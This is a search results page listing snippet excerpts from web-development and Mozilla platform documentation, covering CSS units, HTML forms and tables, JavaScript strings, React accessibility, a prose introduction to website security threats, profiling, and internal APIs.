...And 4 more matches
CSS values and units - Learn web development
() function: h1 { color: black; background-color: rgb(197,93,161); } a value in css is a way to define a collection of allowable sub-values. this means that if you see <color> as valid you don't need to wonder which of the different types of color value can be used — keywords, hex values, rgb() functions, etc. you can use any available <color> values assuming they are supported by your browser. the page on mdn for each value will give you information about browser support. for example, if you look at the page for <color> you will see that the browser compatibility section lists different types of color value and support for them. let's have a look at some of the types of value and unit you may frequently encounter, with examples so that you can try out different possible values. nu...
...he example below you can see how some relative and absolute length units behave. the first box has a width set in pixels. as an absolute unit this width will remain the same no matter what else changes. the second box has a width set in vw (viewport width) units. this value is relative to the viewport width, and so 10vw is 10 percent of the width of the viewport. if you change the width of your browser window, the size of the box should change, however this example is embedded into the page using an <iframe>, so this won't work. to see this in action you'll have to try the example after opening it in its own browser tab. the third box uses em units. these are relative to the font size. i've set a font size of 1em on the containing <div>, which has a class of .wrapper. change this value to 1.
...le in modern computers is 24 bit, which allows the display of about 16.7 million distinct colors via a combination of different red, green and blue channels with 256 different values per channel (256 x 256 x 256 = 16,777,216.) let's have a look at some of the ways in which we can specify colors in css. note: in this tutorial we will look at the common methods of specifying color that have good browser support; there are others but they don't have as good support and are less common. color keywords quite often in examples here in the learn section or elsewhere on mdn you will see the color keywords used, as they are a simple and understandable way of specifying color. there are a number of these keywords, some of which have fairly entertaining names! you can see a full list on the page for...
...And 4 more matches
CSS FAQ - Learn web development
Learn › CSS › Howto › CSS FAQ
in this article, you'll find some frequently-asked questions (faqs) about css, along with answers that may help you on your quest to become a web developer. why doesn't my css, which is valid, render correctly? browsers use the doctype declaration to choose whether to show the document using a mode that is more compatible with web standards or with old browser bugs. using a correct and modern doctype declaration at the start of your html will improve browser standards compliance. modern browsers have two main rendering modes: quirks mode: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. documents with an incomplete, incorrect, or missing doctype declaratio...
...two main rendering modes: quirks mode: also called backwards-compatibility mode, allows legacy webpages to be rendered as their authors intended, following the non-standard rendering rules used by older browsers. documents with an incomplete, incorrect, or missing doctype declaration or a known doctype declaration in common use before 2001 will be rendered in quirks mode. standards mode: the browser attempts to follow the w3c standards strictly. new html pages are expected to be designed for standards-compliant browsers, and as a result, pages with a modern doctype declaration will be rendered with standards mode. gecko-based browsers, have a third almost standards mode that has only a few minor quirks. this is a list of the most commonly used doctype declarations that will trigger stan...
...rds-compliant browsers, and as a result, pages with a modern doctype declaration will be rendered with standards mode. gecko-based browsers, have a third almost standards mode that has only a few minor quirks. this is a list of the most commonly used doctype declarations that will trigger standards or almost standards mode: <!doctype html> /* this is the html5 doctype. ...
...And 4 more matches
Basic native form controls - Learn web development
eb form example, introducing some form controls and common structural elements, and focusing on accessibility best practices. next we will look at the functionality of the different form controls, or widgets, in detail — studying all the different options available to collect different types of data. in this particular article we will look at the original set of form controls, available in all browsers since the early days of the web. prerequisites: basic computer literacy, and a basic understanding of html. objective: to understand in detail the original set of native form widgets available in browsers for collecting data, and how to implement them using html. you've already met some form elements, including <form>, <fieldset>, <legend>, <textarea>, <label>, ...
...ing html. you've already met some form elements, including <form>, <fieldset>, <legend>, <textarea>, <label>, <button>, and <input>. this article covers: the common input types button, checkbox, file, hidden, image, password, radio, reset, submit, and text. some of the attributes that are common to all form controls. note: the features discussed in this article are supported in all browsers, which is not the case for all form controls. we cover newer form controls added in html5 in the next two articles. if you want a more advanced reference, you should consult our html forms element reference, and in particular our extensive <input> types reference. text input fields text <input> fields are the most basic form widgets. they are a very convenient way to let the user enter any ...
...he rest of the form data). they can have a placeholder; this is text that appears inside the text input box that should be used to briefly describe the purpose of the box. they can be constrained in size (the physical size of the box) and maxlength (the maximum number of characters that can be entered into the box). they can benefit from spell checking (using the spellcheck attribute), if the browser supports it. note: the <input> element is unique amongst html elements because it can take many different forms depending on its type attribute value. it is used for creating most types of form widgets including single line text fields, time and date controls, controls without text input like checkboxes, radio buttons, and color pickers, and buttons. single line text fields a single line ...
...And 4 more matches
HTML table advanced features and accessibility - Learn web development
prerequisites: the basics of html (see introduction to html). objective: to learn about more advanced html table features, and the accessibility of tables. ...
...and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out, revisiting an example we first met in the previous article. open up your language teacher's school timetable from the end of html table basics, or make a local copy of our timetable-fixed.html file. add a suitable caption for the table. save your code and open it in a browser to see what it looks like. note: you can find our version on github — see timetable-caption.html (see it live also). adding structure with <thead>, <tfoot>, and <tbody> as your tables get a bit more complex in structure, it is useful to give them more structural definition. one clear way to do this is by using <thead>, <tfoot>, and <tbody>, which allow you to mark up a header, footer, a...
...thead> element must wrap the part of the table that is the header — this is usually the first row containing the column headings, but this is not necessarily always the case. if you are using <col>/<colgroup> element, the table header should come just below those. the <tfoot> element needs to wrap the part of the table that is the footer — this might be a final row with items in the previous rows summed, for example. you can include the table footer right at the bottom of the table as you'd expect, or just below the table header (the browser will still render it at the bottom of the table). the <tbody> element needs to wrap the other parts of the table content that aren't in the table header or footer. it will appear below the table header or sometimes footer, depending on how you decide...
...And 4 more matches
Video and Audio APIs - Learn web development
ng rich media in documents — <video> and <audio> — which in turn come with their own apis for controlling playback, seeking, etc. this article shows you how to do common tasks such as creating custom playback controls. ...
...ve: to learn how to use browser apis to control video and audio playback. html5 video and audio the <video> and <audio> elements allow us to embed video and audio into web pages. as we showed in video and audio content, a typical implementation looks like this: <video controls> <source src="rabbit320.mp4" type="video/mp4"> <source src="rabbit320.webm" type="video/webm"> <p>your browser doesn't support html5 video. here is a <a href="rabbit320.mp4">link to the video</a> instead.</p> </video> this creates a video player inside the browser like so: you can review what all the html features do in the article linked above; for our purposes here, the most interesting attribute is controls, which enables the default set of playback controls. if you don't specify this, you get no...
... you can solve both these problems by hiding the native controls (by removing the controls attribute), and programming your own with html, css, and javascript. ...
...And 4 more matches
Handling text — strings in JavaScript - Learn web development
ight text labels when needed, sorting terms into the desired order, and much more. pretty much all of the programs we've shown you so far in the course have involved some string manipulation. strings — the basics strings are dealt with similarly to numbers at first glance, but when you dig deeper you'll start to see some notable differences. let's start by entering some basic lines into the browser developer console to familiarize ourselves. creating a string to start with, enter the following lines: let string = 'the revolution will not be televised.'; string; just like we did with numbers, we are declaring a variable, initializing it with a string value, and then returning the value. the only difference here is that when writing a string, you need to surround the value with quot...
...u need to surround the value with quotes. if you don't do this, or miss one of the quotes, you'll get an error. try entering the following lines: let badstring = this is a test; let badstring = 'this is a test; let badstring = this is a test'; these lines don't work because any text without quotes around it is assumed to be a variable name, property name, a reserved word, or similar. if the browser can't find it, then an error is raised (e.g. "missing; before statement"). if the browser can see where a string starts, but can't find the end of the string, as indicated by the 2nd quote, it complains with an error (with "unterminated string literal"). if your program is raising such errors, then go back and check all your strings to make sure you have no missing quote marks. the following w...
...let sgl = 'single quotes.'; let dbl = "double quotes"; sgl; dbl; there is very little difference between the two, and which you use is down to personal preference. you should choose one and stick to it, however; differently quoted code can be confusing, especially if you use two different quotes on the same string! the following will return an error: let badquotes = 'what on earth?"; the browser will think the string has not been closed because the other type of quote you are not using to contain your strings can appear in the string. for example, both of these are okay: let sgldbl = 'would you eat a "fish supper"?'; let dblsgl = "i'm feeling blue."; sgldbl; dblsgl; however, you can't include the same quote mark inside the string if it's being used to contain them. the following w...
...And 4 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
look at both of these types going forward. an erroneous example to get started, let's return to our number guessing game — except this time we'll be exploring a version that has some deliberate errors introduced. go to github and make yourself a local copy of number-game-errors.html (see it running live here). to get started, open the local copy inside your favorite text editor, and your browser. try playing the game — you'll notice that when you press the "submit guess" button, it doesn't work! note: you might well have your own version of the game example that doesn't work, which you might want to fix! we'd still like you to work through the article with our version, so that you can learn the techniques we are teaching here. then you can go back and try to fix your example. a...
...are teaching here. then you can go back and try to fix your example. at this point, let's consult the developer console to see if it reports any syntax errors, then try to fix them. you'll learn how below. fixing syntax errors earlier on in the course we got you to type some simple javascript commands into the developer tools javascript console (if you can't remember how to open this in your browser, follow the previous link to find out how). what's even more useful is that the console gives you error messages whenever a syntax error exists inside the javascript being fed into the browser's javascript engine. now let's go hunting. go to the tab that you've got number-game-errors.html open in, and open your javascript console. you should see an error message along the following lines: ...
...from left to right, we've got: a red "x" to indicate that this is an error. ...
...And 4 more matches
Multimedia: Images - Learn web development
content, so it's important that a visitor can see them as soon as possible for a good experience. loading strategy one of the biggest improvements to most websites is lazy-loading images beneath-the-fold, rather than downloading them all on initial page load regardless of whether a visitor scrolls to see them or not. many javascript libraries can implement this for you, such as lazysizes, and browser vendors are working on a native lazyload attribute that is currently in the experimental phase. beyond loading a subset of images, next you should look into the format of the images themselves: are you loading the most optimal file formats? have you compressed the images well? are you loading the correct sizes? the most optimal format the optimal file format typically depends on the ch...
... downloads, rather than the image loading at full resolution top-to-bottom or even only rendering once completely downloaded. a good compressor for these would be mozjpeg, e.g. available to use in the online image optimization tool squoosh. a quality setting of 75% should yield decent results. ...
...r even only rendering once completely downloaded. a good compressor for these would be mozjpeg, e.g. available to use in the online image optimization tool squoosh. a quality setting of 75% should yield decent results. other formats improve on jpeg's capabilities in regards to compression, but are not available on every browser: webp — created by google and nowadays supported by all major browsers except safari. supports transparency and also animation, but not progressive display. jpeg-xr — created by microsoft and only available in internet explorer and edgehtml based edge. doesn't support progressive display and the image decoding is not hardware accellerated and therefore resource intensive on the browser's main thread. jpeg2000 — once to be successor to jpeg but only support...
...And 4 more matches
Website security - Learn web development
site. note: this is an introductory topic, designed to help you start thinking about website security, but it is not exhaustive. website security threats this section lists just a few of the most common website threats and how they are mitigated. as you read, note how threats are most successful when the web application either trusts, or is not paranoid enough about the data coming from the browser. cross-site scripting (xss) xss is a term used to describe a class of attacks that allow an attacker to inject client-side scripts through the website into the browsers of other users. because the injected code comes to the browser from the site, the code is trusted and can do things like send the user's site authorization cookie to the attacker. when the attacker has the cookie, they can log...
...e, they can log into a site as though they were the user and do anything the user can, such as access their credit card details, see contact details, or change passwords. note: xss vulnerabilities have been historically more common than any other type of security threat. the xss vulnerabilities are divided into reflected and persistent, based on how the site returns the injected scripts to a browser. a reflected xss vulnerability occurs when user content that is passed to the server is returned immediately and unmodified for display in the browser. any scripts in the original user content will be run when the new page is loaded. for example, consider a site search function where the search terms are encoded as url parameters, and these terms are displayed along with the results. an at...
...attacker. when the comments are displayed, the script is executed and can send to the attacker the information required to access the user's account. this sort of attack is extremely popular and powerful, because the attacker might not even have any direct engagement with the victims. while the data from post or get requests is the most common source of xss vulnerabilities, any data from the browser is potentially vulnerable, such as cookie data rendered by the browser, or user files that are uploaded and displayed. the best defense against xss vulnerabilities is to remove or disable any markup that can potentially contain instructions to run the code. for html this includes elements, such as <script>, <object>, <embed>, and <link>. the process of modifying user data so that it can't be...
...And 4 more matches
Accessibility in React - Learn web development
or, at least: they can do all of these things with a mouse. unfortunately, these features are not very accessible to keyboard-only users. let's explore this now. exploring the keyboard usability problem start by clicking on the input at the top of our app, as if you're going to add a new task. you'll see a thick, dashed outline around that input. this outline is your visual indicator that the browser is currently focused on this element. press the tab key, and you will see the outline appear around the "add" button beneath the input. this shows you that the browser's focus has moved. press tab a few more times, and you will see this dashed focus indicator move between each of the filter buttons. keep going until the focus indicator is around the first "edit" button. press enter. the <todo...
...nt, we completely remove the elements that were there before to replace them with something else. that means the element that we were focused on vanishes, and nothing is in focus at all. this could confuse a wide variety of users — particularly users who rely on the keyboard, or users who use a screen reader. to improve the experience for keyboard and screen-reader users, we should manage the browser’s focus ourselves. focusing between templates when a user toggles a <todo/> template from viewing to editing, we should focus on the <input> used to rename it; when they toggle back from editing to viewing, we should move focus back to the "edit" button. targeting our elements in order to focus on an element in our dom, we need to tell react which element we want to focus on and how to fi...
...you should see both messages in your console, with each one repeating three times. note how "main render" logged first, and "side effect" logged second, even though the "side effect" log appears first in the code. main render (3) todo.js:100 side effect (3) todo.js:98 that's it for our experimentation for now. delete con...
...And 4 more matches
Componentizing our React app - Learn web development
ssname="visually-hidden">eat</span> </button> <button type="button" classname="btn btn__danger"> delete <span classname="visually-hidden">eat</span> </button> </div> </li> ); } note: components must always return something. if at any point in the future you try to render a component that does not return anything, react will display an error in your browser. our todo component is complete, at least for now; now we can use it. in app.js, add the following line near the top of the file to import todo: import todo from "./components/todo"; with this component imported, you can replace all of the <li> elements in app.js with <todo /> component calls. your <ul> should read like this: <ul role="list" classname="todo-list stack-large stack-excep...
...near the top of the file to import todo: import todo from "./components/todo"; with this component imported, you can replace all of the <li> elements in app.js with <todo /> component calls. your <ul> should read like this: <ul role="list" classname="todo-list stack-large stack-exception" aria-labelledby="list-heading" > <todo /> <todo /> <todo /> </ul> when you look back at your browser, you'll notice something unfortunate: your list now repeats the first task three times! we don't only want to eat; we have other things to — well — to do. next we'll look at how we can make different component calls render unique content. make a unique <todo /> components are powerful because they let us re-use pieces of our ui, and refer to one place for the source of that ui. the pro...
... to reuse most parts, and change small pieces. this is where props come in. what's in a name? in order to track the names of tasks we want to complete, we should ensure that each <todo /> component renders a unique name. in app.js, give each <todo /> a name prop. let’s use the names of our tasks that we had before: <todo name="eat" /> <todo name="sleep" /> <todo name="repeat" /> when your browser refreshes, you will see… the exact same thing as before. we gave our <todo /> some props, but we aren't using them yet. let's go back to todo.js and remedy that. first modify your todo() function definition so that it takes props as a parameter. you can console.log() your props as we did before, if you'd like to check that they are being received by the component correctly. once you're conf...
...And 4 more matches
Client-side tooling overview - Learn web development
od to start small, and gradually work your way up to more advanced uses. the modern tooling ecosystem today's modern developer tooling ecosystem is huge, so it's useful to have a broad idea of what main problems the tools are solving. if you jump on your favourite search engine and look for "front-end developer tools" you're going to hit a huge spectrum of results ranging from text editors, to browsers, to the type of pens you can use to take notes. though your choice of code editor is certainly a tooling choice, this series of articles will go beyond that, focusing on developer tools that help you produce web code more efficiently. from a high-level perspective, you can put client-side tools into the following three broad categories of problems to solve: safety net — tools that are u...
...that, focusing on developer tools that help you produce web code more efficiently. from a high-level perspective, you can put client-side tools into the following three broad categories of problems to solve: safety net — tools that are useful during your code development. transformation — tools that transform code in some way, e.g. turning an intermediate language into javascript that a browser can understand. post-development — tools that are useful after you have written your code, such as testing and deployment tools. let's look at each one of these in more detail. safety net these are tools that make the code you write a little better. this part of the tooling should be specific to your own development environment, though it’s not uncommon for companies to have some kind...
...atching potential syntax errors and encouraging "best practices" throughout your code. some companies and projects have also shared their eslint configs. you can also find linting tools for other languages, such as csslint. also well-worth looking at is webhint, a configurable, open-source linter for the web that surfaces best practices including approaches to accessibility, performance, cross-browser compatibility via mdn's browser compatibility data, security, testing for pwas, and more. it is available as a node.js command-line tool and a vs code extension. source code control also known as version control systems (vcs), source code control is essential for backing work up and working in teams. a typical vcs involves having a local version of the code that you make changes to. you then ...
...And 4 more matches
HTMLIFrameElement.getStructuredData()
a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. ...
...rmat data) contained in the html loaded in the browser <iframe> and returns it as json. syntax var instanceofdomrequest = instanceofhtmliframeelement.getstructureddata(); returns a domrequest to handle the getstructureddata() request's success and error cases. if the request is successful, the request.result is a json object representation of all microdata contained on the page loaded in the browser. parameters none. ...
...the browser <iframe> and returns it as json. syntax var instanceofdomrequest = instanceofhtmliframeelement.getstructureddata(); returns a domrequest to handle the getstructureddata() request's success and error cases. if the request is successful, the request.result is a json object representation of all microdata contained on the page loaded in the browser. parameters none. ...
...And 4 more matches
Sqlite.jsm
ing all cached statements not in use, freeing memory in the process. there is even a shrinkmemory api that will minimize memory usage of the connection automatically. simpler transactions. sqlite.jsm exposes a transaction api built on top of task.jsm that allows transactions to be written as procedural javascript functions (as opposed to a series of callback driven operations). if the function throws, the transaction is automatically rolled back. this makes code easy to write and read. javascript-y api. sqlite.jsm feels like a pure javascript module. the complexities of xpcom are mostly hidden from view. javascript programmers should feel right at home using sqlite.jsm. note: the sqlite.jsm javascript code module can only be used from chrome -- that is, from within the application itself o...
...ase has closed. if a transaction is in progress at the time this function is called, the transaction will be forcibly rolled back. if statements are in progress at the time this function is called, they will be cancelled. callers should not attempt to use the connection after calling this method as the connection will be unusable. it is possible to automatically close the connection when the browser is closed with the shutdown hook: const conn = await sqlite.openconnection({ path: "mydatabase.sqlite", sharedmemorycache: false }); try { sqlite.shutdown.addblocker("my connection closing", async () => await conn.close()); } catch (e) { // it's too late to block shutdown, just close the connection. await conn.close(); throw e; } clone(readonly) this fu...
...nt won't change how values are bound to those parameters. when onrow is not defined, the full results of the operation are buffered before the caller is notified of statement completion. for insert, update, and delete statements, this is not relevant. however, it can have drastic implications for select statements. ...
...And 4 more matches
Localizing with Mozilla Translator
do better if you can export a partial glossary and reimport it as needed. see the following example. let's assume you have a firefox product in mt with the directory layout present in language packs, as you probably would need for a initial localization. the directory structure will look like this: (ab-cd jar root) locale |-- branding | |-- brand.dtd | `-- brand.properties |-- browser | |-- aboutdialog.dtd . . |-- browser-region | `-- region.properties `-- ab-cd |-- alerts | `-- notificationnames.properties |-- autoconfig | `-- autoconfig.properties |-- cookie | |-- cookieacceptdialog.dtd | `-- cookieacceptdialog.properties |-- global | |-- about.dtd | |-- apppicker.dtd . . ...
...-us | | |-- chrome | | | |-- alerts | | | | `-- notificationnames.properties | | | |-- autoconfig | | | | `-- autoconfig.properties | | | |-- cookie | | | | |-- cookieacceptdialog.dtd | | | | `-- cookieacceptdialog.properties | | | |-- global | | | | |-- about.dtd | | | | |-- apppicker.dtd . . browser |-- locales | |-- en-us | | |-- readme.txt | | |-- chrome | | | |-- branding | | | | |-- brand.dtd | | | | `-- brand.properties | | | |-- browser | | | | |-- aboutdialog.dtd as you see, there is ''link'' point, usually at chrome (in cvs & mozilla-central), sometimes in a deeper point. for instance, '''toolkit/locales/chrome''' i...
... so, what you have to do is export partial glossaries in each link point of the ''old'' product and import them in the corresponding link point of the ''new'' point. ...
...And 4 more matches
Gecko Profiler FAQ
ows.) high frequency sampling may also be an area where native profilers are a useful alternative tool to try. how do we profile "leaks" that show up after running firefox for > 40 mins? the gecko profiler has been designed specifically for the use case of having it run always in the background, and it’s pretty good at that! it is quite reasonable to actually run the browser for 40 minutes and once the said leaks have happened capture the profiles and study what went wrong. [ehsan] i have been profiling my real browser usage for months now, and so can you. :-) however, if it’s really just “leaks” that are the problem, it’s possible that those profiles only show you that we spend a lot of time in gc / cc. in that case, the gecko prof...
... useful thread filter string based on the found thread name. how can i run (micro-?) benchmarks on the memory allocator to see if changes in it (or entire allocator replacements) are slower/faster? what you *don’t* want to do is writing a micro-benchmark that call malloc/free in a loop and the like and call it a day! a better idea would be picking up a real browser workload where through previous profiling we know that malloc overhead contributes a measurable percentage of overhead to the overall time and then study the change to that workload after replacing the allocator. you do want to think about various characteristics of an allocator which may have an impact on performance. for example, see julian’s great investigation on the impact o...
....cgi?id=1291355#c26. what's the best way to measure the cost of new compiler flags (that affect all or most functions)? [ehsan] this is similar to the previous question to some extent, but the specific answer really depends on what kind of compiler flag we’re talking about and what performance impact we’re interested to study. but the short answer is picking up real browser workloads, and finding ways to split out the overall cost contributed by the thing that your change is going to affect and compare things before and after. [mstange] this question is more about benchmarking than about profiling. if you want to measure things, please measure without the profiler running, because the profiler can add its own overhead. how do we find perfo...
...And 4 more matches
Profiling with the Firefox Profiler
the firefox profiler is a profiler that is built into firefox and is available at profiler.firefox.com. it has tighter integration with firefox than external profilers, and has more of a platform focus than the devtools performance panel. it can be used in a variety of situations where external profilers are not available, and can provide more information and insight into what the browser is doing. using the firefox profiler visit profiler.firefox.com to get started. it has instructions for enabling the profiler menu button, and getting going. there are also product docs available at profiler.firefox.com/docs/. in addition to profiler.firefox.com, the firefox devtools have a simplified interface targeted towards web developers, but does not include as much information as the firef...
...ntation available at profiler.firefox.com/docs/. however the following could have some potentially useful information for gecko-specific problems. you can check out some frequently asked questions about the firefox profilers. reporting a performance problem has a step-by-step guide for obtaining a profile when requested by firefox developers. interface 1. ...
...you can check out some frequently asked questions about the firefox profilers. reporting a performance problem has a step-by-step guide for obtaining a profile when requested by firefox developers. interface 1. timeline the timeline has several rows of tracing markers (colored segments) which indicate interesting events. hover over them to see more information. below the tracing markers are rows corresponding with activity on a variety of threads. ...
...And 4 more matches
Preference reference
accessibility.tabfocusthe preference accessibility.tabfocus controls what elements receive focus when the user presses the tab key.browser.altclicksavethe preference browser.altclicksave controls whether clicking a link while holding the alt key starts the download of that link.browser.dom.window.dump.enabledthis setting enables the dump function, which sends messages to the system console. set it to true to enable it, or false to disable it.browser.dom.window.dump.filebrowser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in this preference if browser.dom.window.dump.enabled is set to true. ...
...ndow.dump.enabledthis setting enables the dump function, which sends messages to the system console. set it to true to enable it, or false to disable it.browser.dom.window.dump.filebrowser.dom.window.dump.file redirects the ouput of window.dump() calls to a file whose address is specified in this preference if browser.dom.window.dump.enabled is set to true. changes require an application restart.browser.download.lastdir.savepersitebrowser.download.lastdir.savepersite controls whether the directory preselected in the file picker for saving a file download is being remembered on a per-website (host) base. ...
...address is specified in this preference if browser.dom.window.dump.enabled is set to true. changes require an application restart.browser.download.lastdir.savepersitebrowser.download.lastdir.savepersite controls whether the directory preselected in the file picker for saving a file download is being remembered on a per-website (host) base. ...
...And 4 more matches
Localization Use Cases
this article documents a few opportunities to improve the localization of gaia (the ui layer of firefox os) by using l20n. in all presented examples, we try to show the existing code, explain the problem from the localizers' or developers' perspective, and suggest a solution. declensions in gaia's browser app, there's an about-browser string defined as follows in apps/browser/locales/browser: about-browser=about {{browserbrandshortname}} problem definition in many inflected languages (e.g. german, finnish, hungarian, all slavic languages), the about preposition governs the grammatical case of the complement. it might be the accusative (german), ablative (latin) or locative (slavic languages). let's take slovenian as an example. in slovenian, the ideal string would inflect the nou...
...ion in many inflected languages (e.g. german, finnish, hungarian, all slavic languages), the about preposition governs the grammatical case of the complement. it might be the accusative (german), ablative (latin) or locative (slavic languages). let's take slovenian as an example. ...
...ages (e.g. german, finnish, hungarian, all slavic languages), the about preposition governs the grammatical case of the complement. it might be the accusative (german), ablative (latin) or locative (slavic languages). let's take slovenian as an example. ...
...And 4 more matches
JSAPI User Guide
many applications can benefit from scripting. these programs can execute javascript code from c++ using the spidermonkey api. note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi. ...
...many applications can benefit from scripting. these programs can execute javascript code from c++ using the spidermonkey api. note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and jsapi. ...
...w.open, and xmlhttprequest. but in mozilla, all of these features are actually provided by other components, not the spidermonkey engine itself. spidermonkey provides a few core javascript data types—numbers, strings, arrays, objects, and so on—and a few methods, such as array.push. it also makes it easy for each application to expose some of its own objects and functions to javascript code. browsers expose dom objects. your application will expose objects that are relevant for the kind of scripts you want to write. it is up to the application developer to decide what objects and methods are exposed to scripts. hello world using the spidermonkey library to build spidermonkey from source, see spidermonkey build documentation. some systems (such as debian) provide spidermonkey as a prebu...
...And 4 more matches
Running Automated JavaScript Tests
basic usage is: jstests.py path_to_js_shell or using mach: ./mach jstests note that mach will generally find the js shell itself; the --shell argument can be used to specify the location manually. ...
...basic usage is: jstests.py path_to_js_shell or using mach: ./mach jstests note that mach will generally find the js shell itself; the --shell argument can be used to specify the location manually. ...
...progress bar, change the timeout, run skipped tests, print output in tinderbox format, run a test in the debugger, or run tests in valgrind. run with the -h option to see all the options. the jstests test suite also includes some tests from web-platform-tests. by default, these are only run when no tests paths are specified; this can be overridden by the --wpt=enabled flag. ...
...And 4 more matches
Mork
Mozilla › Tech › Mork
ported file format. the information on this page was constructed by reading the source code of the mork database in mozilla and attempting to codify what it parses as faithfully as possible. in a few cases, constructs that the parser supported but were never used in mozilla's code are left unspecified. mork structure mork is a schema-less database format. at its core, it can be viewed as a set of rows, collections of name-value pairs, which can be organized into various tables. rows need not be in a table, nor need they be in only one table. values are merely an opaque sequence of bytes, so their actual content is dependent on the mork consumer. except when parsing values, whitespace ('\b', '\t', '\r', '\n', '\f', ' ', and '\x7f'), line continuations ('\\' followed by a newline), and comments ...
...ormat for the message database. versions 1.0-1.3 were never used in any publicly-available source code. other serializations of mork have also never been used, so the zany mork version 1.4 format has become the only official mork format. after that, the lexical structure of mork is somewhat simple. ...
...er used in any publicly-available source code. other serializations of mork have also never been used, so the zany mork version 1.4 format has become the only official mork format. after that, the lexical structure of mork is somewhat simple. the file is a collection of top-level structures, of which there exists four: dictionaries, tables, rows, and groups (changesets). dictionaries, tables, and rows all have corresponding metastructures. meta-dictionaries are in practice only used to change the scope of alias definitions (the '(a=c)' that you can see in files). meta-tables are used to establish some facts about the table as well as the default row scope. meta-rows do not appear to be used at all, although the parser seems to consider setting the charset, row scope, and atom scope. some note...
...And 4 more matches
nsIAccessibleTable
es(out unsigned long cellsarraysize, [retval, array, size_is(cellsarraysize)] out long cellsarray); note: renamed from getselectedcells in gecko 1.9.2 void getselectedcolumnindices(out unsigned long columnsarraysize, [retval, array, size_is(columnsarraysize)] out long columnsarray); note: renamed from getselectedcolumns in gecko 1.9.2 void getselectedrowindices(out unsigned long rowsarraysize, [retval, array, size_is(rowsarraysize)] out long rowsarray); note: renamed from getselectedrows in gecko 1.9.2 boolean iscellselected(in long rowindex, in long columnindex); boolean iscolumnselected(in long columnindex); boolean isprobablyforlayout(); boolean isrowselected(in long rowindex); void selectcolumn(in long columnindex); ...
...ription caption nsiaccessible the caption accessible for the table. for example, html:caption element of html:table element. read only. columncount long the number of columns in the table. read only. note: renamed from columns in gecko 1.9.2 columnheader nsiaccessibletable read only. obsolete since gecko 1.9.2 rowcount long the number of rows in the table. read only. note: renamed from rows in gecko 1.9.2 rowheader nsiaccessibletable read only. obsolete since gecko 1.9.2 selectedcellcount unsigned long the total number of selected cells. read only. note: renamed from selectedcellscount in gecko 1.9.2 selectedcells nsiarray an array of selected cells. read only. selectedcolumncoun...
...l number of selected cells. read only. note: renamed from selectedcellscount in gecko 1.9.2 selectedcells nsiarray an array of selected cells. read only. selectedcolumncount unsigned long the total number of selected columns. read only. note: renamed from selectedcolumnscount in gecko 1.9.2 selectedrowcount unsigned long the total number of selected rows. read only. note: renamed from selectedrowscount in gecko 1.9.2 summary astring the summary description for the table. for example, @summary attribute on html:table element. read only. methods return the accessible object at the specified row and column in the table. if both row and column index are valid then the corresponding accessible object is returned that represents...
...And 4 more matches
nsIDOMWindowUtils
context (not content-accessible) read only. elementsrestyled read only unsigned long long the number of elements which have been restyled for the current document. keep in mind that during a restyle operation, an element may be restyled multiple times (for example, when an inline element contains blocks). this number also counts restyling of pseudo-elements and anonymous boxes. throws ns_error_not_available if the count can't be provided. focusedinputtype string the type of the currently-focused html <input> element, if one is focused. imageanimationmode unsigned short returns the image animation mode of the window. the attribute's value must be one of the animationmode values from imgicontainer. imeisopen boolean returns the ime o...
... current ime status. values correspond to the ime_status_* constants defined below. read only. ismozafterpaintpending boolean returns true if a mozafterpaint event has been queued but not yet fired. read only. layermanagertype astring what type of layer manager the widget associated with this window is using. "basic" is unaccelerated; other types are accelerated. throws an error if there is no widget associated with this window. read only. outerwindowid unsigned long long the id of the window's outer window. read only. paintingsuppressed boolean true if painting is currently suppressed for this window; otherwise false. read only. this is used on mobile, for example, to prevent attempts to render content until enough of ...
...s atype ax ay abutton aclickcount amodifiers modifiers pressed. using constants defined in nsidomnsevent. obsolete since gecko 15.0 using constants defined as modifier_*. aignorerootscrollframe optional sendmousescrollevent() obsolete since gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. synthesize a mouse scroll event for a window. the event types supported are: dommousescroll mozmousepixelscroll. events are sent in coordinates offset by ax and ay from the window. cannot be accessed from unprivileged context (not content-accessible) will throw a dom security error if called without univer...
...And 4 more matches
nsIEditorIMESupport
gelistptr atextrange, in nstexteventreplyptr areply); native code only! obsolete since gecko 2.0 attributes attribute type description composing boolean whether this editor has active ime transaction. read only. methods native code only!begincomposition obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. handles the start of inline input composition. void begincomposition( in nstexteventreplyptr areply ); parameters areply endcomposition() obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) handles the end of inline input composition. void endcomposition(); ...
... composition end. void forcecompositionend(); parameters none. native code only!getpreferredimestate get preferred ime status of current widget. void getpreferredimestate( out unsigned long astate ); parameters astate native code only!getquerycaretrect obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0)this feature is obsolete. ...
...rk in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. get the query caret rect. void getquerycaretrect( in nsquerycaretrecteventreplyptr areply ); parameters areply native code only!getreconversionstring obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. get the reconversion string. void getreconversionstring( in nsreconversioneventreplyptr areply ); parameters areply notifyimeonblur() obsolete since gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0)this feature is obsolete. ...
...And 4 more matches
DOM Inspector internals - Firefox Developer Tools
